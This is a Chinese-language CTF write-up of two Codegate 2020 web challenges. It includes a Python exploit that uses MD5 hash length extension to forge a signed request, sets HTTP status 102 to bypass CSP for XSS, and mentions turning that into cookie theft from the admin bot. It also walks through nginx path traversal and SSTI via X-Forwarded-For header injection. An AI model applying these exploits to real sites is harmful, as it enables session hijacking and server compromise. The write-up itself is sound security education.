2020 Codegate Web題解
Codegate 還是有很多國際強隊參加的,這里記錄 Codegate 的兩道 Web題。
CSP分析
題目給了 api.php 的代碼:
'config.php';if(!isset($_GET["q"]) || !isset($_GET["sig"])) { die("?");
}
$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];if(md5($salt.$api_string) !== $sig){ die("??");
}//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...$apis = explode("|", $api_string);foreach($apis as $s) {
$info = explode(",", $s); if(count($info) != 3) continue;
$n = base64_decode($info[0]);
$p1 = base64_decode($info[1]);
$p2 = base64_decode($info[2]); if ($n === "header") { if(strlen($p1) > 10) continue; if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
continue;
header("$p1: $p2");
} elseif ($n === "cookie") {
setcookie($p1, $p2);
} elseif ($n === "body") { if(preg_match("/<.*>/", $p1)) continue; echo $p1; echo "n
n";
} elseif ($n === "hello") { echo "Hello, World!n";
}
}
題目的 CSP 的策略是 default-src 'self'; script-src 'none'; base-uri 'none';,這基本給堵死了,直接打 cookie 不可能了。
index.php 可以給一個API,得到簽名,但是不支持一次多個API,我們沒有 key,這里明顯是一個哈希長度擴展攻擊的考點,采用 salt+msg的方式進行哈希。
接著 api.php,發現可以設置 header,設置 cookie,輸出內容。設置 header做了一定過濾,無法覆蓋 CSP 設置。body 這部分過濾沒啥用,preg_match 的 . 不匹配 n。
關鍵在于使 CSP 失效,可以設置 HTTP 狀態碼為 102 使 CSP 失效,同時可以執行js。為了驗證我本地寫了個 php:
header("Content-Security-Policy: default-src 'self'; script-src 'none';");
header("HTTP/: 102");?>alert(<span style="color: rgb(0, 0, 0);font-size: 15px;box-sizing: border-box;">1</span>)
我用 nimmis/apache-php7 這個鏡像起了個 docker,發現 chrome 是不可以的:

開始以為 chrome 版本問題,試了舊版本還是不行。
我用 mac 自帶的 apache 和 php 環境試了一下,發現是可以的。。。

這與 server 還有關系?感興趣的師傅可以研究解答一下…
這道題的環境也是可以的,我們隨便拿到一個簽名,然后用哈希擴展攻擊得到想要的簽名。
exp
import requestsimport hashpumpy
url = "http://110.10.147.166/"def get_sig():
res = requests.get(url + "view.php", params={'name': 'gml', 'p1': 'gml', 'p2': 'gml'}).content
sig, msg = res.split("/api.php?sig=")[1].split('">')[0].split("&q=") return sig, msg.decode("base64")
sig, msg = get_sig()
api1 = ['header', 'HTTP/', '102']
api2 = ['body', 'alert(1)', '']
new_msg = "|%s|%s" % ( ','.join(c.encode("base64").strip() for c in api1), ','.join(c.encode("base64").strip() for c in api2))# len(salt)=12new_sig, q = hashpumpy.hashpump(sig, msg, new_msg, 12)
q = q.encode("base64")
print('{}api.php?sig={}&q={}'.format(url, new_sig, q))
訪問,發現可以彈窗:

改變 xss payload 為打 cookie的,提交給 bot,可以打到cookie:

Render
Description
It is my first flask project with nginx. Write your own message, and get flag! http://110.10.147.169/renderer/ http://58.229.253.144/renderer/DOWNLOAD : http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9
下載可以得到 settings/run.sh:
#!/bin/bashservice nginx stop mv /etc/nginx/sites-enabled/default /tmp/ mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask service nginx restart uwsgi /home/src/uwsgi.ini & /bin/bash /home/cleaner.sh & /bin/bash
以及 docker file:
FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]
我們能從中得到的主要是目錄結構,結合題目描述 nginx,應該存在 nginx 目錄遍歷。
http://110.10.147.169/static../src/uwsgi.ini,可以下到文件。
獲取源碼
讀源碼:
http://110.10.147.169/static../src/app/__init__.py:
from flask import Flaskfrom app import routesimport os
app = Flask(__name__)
app.url_map.strict_slashes = Falseapp.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")
讀routes:
http://110.10.147.169/static../src/app/routes.py
from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprintimport urllib2import timeimport hashlibfrom os import pathfrom urlparse import urlparse
front = Blueprint("renderer", __name__)@front.before_requestdef test():
print(request.url)@front.route("/", methods=["GET", "POST"])def index():
if request.method == "GET": return render_template("index.html")
url = request.form.get("url")
res = proxy_read(url) if url else False
if not res:
abort(400) return render_template("index.html", data = res)@front.route("/whatismyip", methods=["GET"])def ipcheck():
return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())@front.route("/admin", methods=["GET"])def admin_access():
ip = get_ip()
rip = get_real_ip() if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403) if ip != rip: #if use proxy
ticket = write_log(rip) return render_template("admin_remote.html", ticket = ticket) else: if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body")) return render_template("admin_local.html", ticket = ticket) else: return render_template("admin_local.html", ticket = None)@front.route("/admin/ticket", methods=["GET"])def admin_ticket():
ip = get_ip()
rip = get_real_ip() if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403) if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403) if request.headers.get("User-Agent") != "AdminBrowser/1.337": print request.headers.get("User-Agent")
abort(403) if request.args.get("ticket"):
log = read_log(request.args.get("ticket")) if not log: print 4
abort(403) return render_template_string(log)def get_ip():
return request.remote_addrdef get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()def proxy_read(url):
#TODO : implement logging
s = urlparse(url).scheme if s not in ["http", "https"]: #sjgdmfRk akfRk
return ""
return urllib2.urlopen(url).read()def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest() with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str) return tiddef write_extend_log(rip, body):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest() with open("/home/tickets/%s" % tid, "w") as f:
f.write(body) return tiddef read_log(ticket):
if not (ticket and ticket.isalnum()): return False
if path.exists("/home/tickets/%s" % ticket): with open("/home/tickets/%s" % ticket, "r") as f: return f.read() else: return False
分析
可以發現我們 flag 在 config 中,想到 SSTI。
題目還提供了一個類似 SSRF 的功能,讓服務器幫我們去請求,這里用的是 urllib2.urlopen(url),這里存在 http 頭注入的問題。
再看一下 admin 接口,會把 rip,也就是 xff 頭寫到日志里,我們可以通過 /admin/ticket 接口來訪問日志(當然我們有了目錄遍歷,也可以直接下載)
如何才能 SSTI 呢,當訪問 /admin/ticket 接口時會把日志結果用 render_template_string渲染,所以我們的思路很清楚了:把 SSTI payload 先放到 xff 頭里,訪問 admin 接口把 payload 寫到日志里,再去訪問 /admin/ticket 接口實現 SSTI,頭部控制可以利用 urllib 的 HTTP 注入。
exp
首先請求 /admin:

得到 ticket,再請求 /admin/ticket:
